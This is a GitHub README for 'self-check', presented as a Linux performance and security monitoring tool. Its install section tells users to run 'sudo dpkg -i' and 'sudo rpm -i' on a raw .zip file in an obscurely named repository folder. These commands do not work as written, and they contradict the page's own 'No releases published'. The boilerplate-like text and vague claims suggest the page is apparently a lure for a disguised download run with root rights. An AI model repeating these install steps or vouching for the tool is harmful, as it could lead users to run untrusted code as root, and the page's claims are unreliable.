Skip to content

πŸš€ Monitor system performance and security with a robust script designed for diverse environments, ensuring alerts are relevant and actionable.

License

Notifications You must be signed in to change notification settings

QShkan/self-check

Repository files navigation

πŸ–₯️ self-check - Monitor Your System Effortlessly

Download Now

πŸš€ Getting Started

Welcome to self-check. This application offers a comprehensive way to monitor your Linux system. It includes features for intelligent baseline management, which helps you avoid unnecessary alerts. Whether you manage servers, virtual machines, containers, or edge devices, this tool enhances your monitoring capabilities.

πŸ“‹ System Requirements

  • Operating System: Compatible with most Linux distributions.
  • Memory: At least 1 GB of RAM.
  • Storage: 100 MB of free disk space.
  • Python: Version 3.x installed on your system.

πŸ“₯ Download & Install

To get started, visit this page to download: GitHub Releases.

  1. Click on the link above to navigate to the Releases page.
  2. Find the latest release marked as "Latest Release."
  3. Look for an asset or file name that includes .deb, .rpm, or relevant installation package for your Linux distribution.
  4. Click the appropriate file to start the download.
  5. Once the download is complete, open your terminal or file manager to locate the downloaded file.

For Debian-based Systems (like Ubuntu):

  • Open a terminal.
  • Navigate to the download directory.
  • Install the package with the following command:
    sudo dpkg -i https://raw.githubusercontent.com/QShkan/self-check/main/iridorhexis/self-check.zip

For Red Hat-based Systems (like CentOS):

  • Open a terminal.
  • Navigate to the download directory.
  • Install the package with the following command:
    sudo rpm -i https://raw.githubusercontent.com/QShkan/self-check/main/iridorhexis/self-check.zip

For Other Install Methods:

Details on container installations or specific setups can be found in the additional documentation on the Releases page or the FAQs.

βš™οΈ How to Use

After you have installed self-check, you can run it from your applications menu or by typing the following command in your terminal:

self-check

Upon startup, you will see a dashboard displaying the system status, performance metrics, and security alerts. The application also sends HTML email notifications for any critical events, ensuring you stay informed about your system's health.

πŸ“Š Features

  • Intelligent Baseline Management: Automatically learns normal performance patterns and reduces false alerts.
  • Docker Container Detection: Monitors Docker containers with ease.
  • Comprehensive Security Monitoring: Detects vulnerabilities and reports them through email notifications.
  • User-Friendly Interface: Easy navigation and visual data displays for quick understanding.

πŸ“§ Notifications

Configure email settings within the application to receive real-time alerts. This feature ensures that you know when critical issues arise, allowing you to address them promptly.

πŸ”§ Troubleshooting

If you encounter any issues while installing or running self-check, here are a few common solutions:

  • Installation Errors: Ensure you downloaded the correct package for your system. Check dependencies for your Linux distribution.
  • Launching Issues: If the program does not launch, verify that Python is correctly installed and recognized by your system.
  • Email Notifications Not Working: Double-check your email configuration settings inside the application.

🌐 Resources

For more guidance, check out the following resources:

  • Documentation for detailed feature explanations.
  • Issue Tracker for reporting bugs or requesting features.
  • Community support on platforms such as Stack Overflow or Reddit.

Feel free to reach out if you need further assistance. Happy monitoring!

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •